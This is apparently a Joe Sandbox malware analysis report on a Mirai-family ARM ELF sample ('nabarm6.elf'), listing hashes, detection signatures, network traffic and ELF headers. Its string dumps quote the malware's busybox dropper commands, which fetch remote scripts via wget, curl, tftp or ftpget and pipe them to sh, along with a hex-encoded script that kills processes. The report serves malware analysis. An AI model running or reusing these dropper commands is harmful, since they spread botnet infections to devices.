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Linux Analysis Report
nabarm6.elf

Overview

General Information

Sample name:nabarm6.elf
Analysis ID:1643366
MD5:6f304e78cd88e56fa223c08e79c3ef60
SHA1:7e4de87ff7edc1833e781fd54371addaaa4d2032
SHA256:78ee59dafa61081054f1ce8eb86663122af32c28761e91435d2d2e9a2bc13c9a
Tags:elfuser-abuse_ch
Infos:

Detection

Score:48
Range:0 - 100

Signatures

Multi AV Scanner detection for submitted file
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

RansomwareSpreadingPhishingBankerTrojan / BotAdwareSpywareExploiterEvaderMinercleansuspiciousmalicious
Joe Sandbox version:42.0.0 Malachite
Analysis ID:1643366
Start date and time:2025-03-19 19:45:19 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 37s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:nabarm6.elf
Detection:MAL
Classification:mal48.linELF@0/0@0/0
Command:/tmp/nabarm6.elf
PID:6231
Exit Code:139
Exit Code Info:SIGSEGV (11) Segmentation fault invalid memory reference
Killed:False
Standard Output:

Standard Error:qemu: uncaught target signal 11 (Segmentation fault) - core dumped
  • system is lnxubuntu20
  • nabarm6.elf (PID: 6231, Parent: 6154, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/nabarm6.elf
  • cleanup
No yara matches
No Suricata rule has matched

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Source: nabarm6.elfVirustotal: Detection: 29%Perma Link
Source: nabarm6.elfReversingLabs: Detection: 33%
Source: nabarm6.elfString: /bin/busyboxenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname Day2/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper telnetThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4XC
Source: global trafficTCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global trafficTCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global trafficTCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknownTCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknownTCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
Source: nabarm6.elfString found in binary or memory: http:///curl.sh
Source: nabarm6.elfString found in binary or memory: http:///wget.sh
Source: unknownNetwork traffic detected: HTTP traffic on port 43928 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 42836 -> 443
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne >> > .d
Source: Initial sampleString containing 'busybox' found: /bin/busybox
Source: Initial sampleString containing 'busybox' found: usage: busybox
Source: Initial sampleString containing 'busybox' found: /bin/busybox hostname Day2
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo >
Source: Initial sampleString containing 'busybox' found: /bin/busybox wget http://
Source: Initial sampleString containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sampleString containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sampleString containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper telnet
Source: Initial sampleString containing 'busybox' found: /bin/busyboxenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname Day2/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper telnetThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\
Source: ELF static info symbol of initial sample.symtab present: no
Source: classification engineClassification label: mal48.linELF@0/0@0/0
Source: /tmp/nabarm6.elf (PID: 6231)Queries kernel information via 'uname': Jump to behavior
Source: nabarm6.elf, 6231.1.0000557e5a852000.0000557e5a980000.rw-.sdmpBinary or memory string: Z~U!/etc/qemu-binfmt/arm
Source: nabarm6.elf, 6231.1.00007ffe9ade5000.00007ffe9ae06000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-arm/tmp/nabarm6.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/nabarm6.elf
Source: nabarm6.elf, 6231.1.0000557e5a852000.0000557e5a980000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/arm
Source: nabarm6.elf, 6231.1.00007ffe9ade5000.00007ffe9ae06000.rw-.sdmpBinary or memory string: /usr/bin/qemu-arm
Source: nabarm6.elf, 6231.1.00007ffe9ade5000.00007ffe9ae06000.rw-.sdmpBinary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped
ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity Information1
Scripting
Valid AccountsWindows Management Instrumentation1
Scripting
Path InterceptionDirect Volume AccessOS Credential Dumping11
Security Software Discovery
Remote ServicesData from Local System1
Encrypted Channel
Exfiltration Over Other Network MediumAbuse Accessibility Features
CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
Application Layer Protocol
Exfiltration Over BluetoothNetwork Denial of Service
No configs have been found
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Number of created Files
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1643366 Sample: nabarm6.elf Startdate: 19/03/2025 Architecture: LINUX Score: 48 8 109.202.202.202, 80 INIT7CH Switzerland 2->8 10 91.189.91.42, 443 CANONICAL-ASGB United Kingdom 2->10 12 91.189.91.43, 443 CANONICAL-ASGB United Kingdom 2->12 14 Multi AV Scanner detection for submitted file 2->14 6 nabarm6.elf 2->6         started        signatures3 process4
SourceDetectionScannerLabelLink
nabarm6.elf30%VirustotalBrowse
nabarm6.elf33%ReversingLabsLinux.Backdoor.Mirai
No Antivirus matches
No Antivirus matches
No Antivirus matches

Download Network PCAP: filteredfull

No contacted domains info
NameSourceMaliciousAntivirus DetectionReputation
http:///wget.shnabarm6.elffalse
    high
    http:///curl.shnabarm6.elffalse
      high
      • No. of IPs < 25%
      • 25% < No. of IPs < 50%
      • 50% < No. of IPs < 75%
      • 75% < No. of IPs
      IPDomainCountryFlagASNASN NameMalicious
      109.202.202.202
      unknownSwitzerland
      13030INIT7CHfalse
      91.189.91.43
      unknownUnited Kingdom
      41231CANONICAL-ASGBfalse
      91.189.91.42
      unknownUnited Kingdom
      41231CANONICAL-ASGBfalse
      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
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                                              • 109.202.202.202
                                              No context
                                              No context
                                              No created / dropped files found
                                              File type:ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
                                              Entropy (8bit):5.996747640370306
                                              TrID:
                                              • ELF Executable and Linkable format (generic) (4004/1) 100.00%
                                              File name:nabarm6.elf
                                              File size:54'520 bytes
                                              MD5:6f304e78cd88e56fa223c08e79c3ef60
                                              SHA1:7e4de87ff7edc1833e781fd54371addaaa4d2032
                                              SHA256:78ee59dafa61081054f1ce8eb86663122af32c28761e91435d2d2e9a2bc13c9a
                                              SHA512:9d6d3956a3aa507c751595684f2fc5700774ab15f921409b7bfa8c3d61e7dcd36c56d7793d89ce2921f5f67a249f0e854b97e1ef62700e2bc26195e1d915d83c
                                              SSDEEP:1536:yRnhknzQqGPqNV/FcySWm465V83yMWi5DBKrdm1XPbbBR:lnz5GPqDDSWm6DBKrdm1XPb
                                              TLSH:5933D756F992DB11C5D585BAFE0E518D331307A8E2EF73539E106F247B8B87B0A3A405
                                              File Content Preview:.ELF..............(.....T...4...........4. ...(.....................................................x...............Q.td..................................-...L..................@-.,@...0....S..... 0....S.........../..0...0...@..../.x.............-.@0....S

                                              ELF header

                                              Class:ELF32
                                              Data:2's complement, little endian
                                              Version:1 (current)
                                              Machine:ARM
                                              Version Number:0x1
                                              Type:EXEC (Executable file)
                                              OS/ABI:UNIX - System V
                                              ABI Version:0
                                              Entry Point Address:0x8154
                                              Flags:0x4000002
                                              ELF Header Size:52
                                              Program Header Offset:52
                                              Program Header Size:32
                                              Number of Program Headers:3
                                              Section Header Offset:54000
                                              Section Header Size:40
                                              Number of Section Headers:13
                                              Header String Table Index:12
                                              NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
                                              NULL0x00x00x00x00x0000
                                              .initPROGBITS0x80940x940x100x00x6AX004
                                              .textPROGBITS0x80b00xb00xbccc0x00x6AX0016
                                              .finiPROGBITS0x13d7c0xbd7c0x100x00x6AX004
                                              .rodataPROGBITS0x13d8c0xbd8c0xf540x00x2A004
                                              .init_arrayINIT_ARRAY0x1d0040xd0080x40x00x3WA004
                                              .fini_arrayFINI_ARRAY0x1d0080xd00c0x40x00x3WA004
                                              .jcrPROGBITS0x1d00c0xd0100x40x00x3WA004
                                              .gotPROGBITS0x1d0100xd0140x740x40x3WA004
                                              .dataPROGBITS0x1d0840xd0880x1f40x00x3WA004
                                              .bssNOBITS0x1d2780xd27c0x35580x00x3WA004
                                              .ARM.attributesARM_ATTRIBUTES0x00xd27c0x100x00x0001
                                              .shstrtabSTRTAB0x00xd28c0x620x00x0001
                                              TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
                                              LOAD0x00x80000x80000xcce00xcce06.08660x5R E0x8000.init .text .fini .rodata
                                              LOAD0xd0040x1d0040x1d0000x2780xb7cc3.20330x6RW 0x8000.init_array .fini_array .jcr .got .data .bss
                                              GNU_STACK0x00x00x00x00x00.00000x7RWE0x4

                                              Download Network PCAP: filteredfull

                                              • Total Packets: 7
                                              • 443 (HTTPS)
                                              • 80 (HTTP)
                                              TimestampSource PortDest PortSource IPDest IP
                                              Mar 19, 2025 19:46:09.184079885 CET43928443192.168.2.2391.189.91.42
                                              Mar 19, 2025 19:46:14.815510988 CET42836443192.168.2.2391.189.91.43
                                              Mar 19, 2025 19:46:16.095067978 CET4251680192.168.2.23109.202.202.202
                                              Mar 19, 2025 19:46:29.149322033 CET43928443192.168.2.2391.189.91.42
                                              Mar 19, 2025 19:46:41.435580969 CET42836443192.168.2.2391.189.91.43
                                              Mar 19, 2025 19:46:45.531136990 CET4251680192.168.2.23109.202.202.202
                                              Mar 19, 2025 19:47:10.103602886 CET43928443192.168.2.2391.189.91.42

                                              System Behavior

                                              Start time (UTC):18:46:09
                                              Start date (UTC):19/03/2025
                                              Path:/tmp/nabarm6.elf
                                              Arguments:/tmp/nabarm6.elf
                                              File size:4956856 bytes
                                              MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1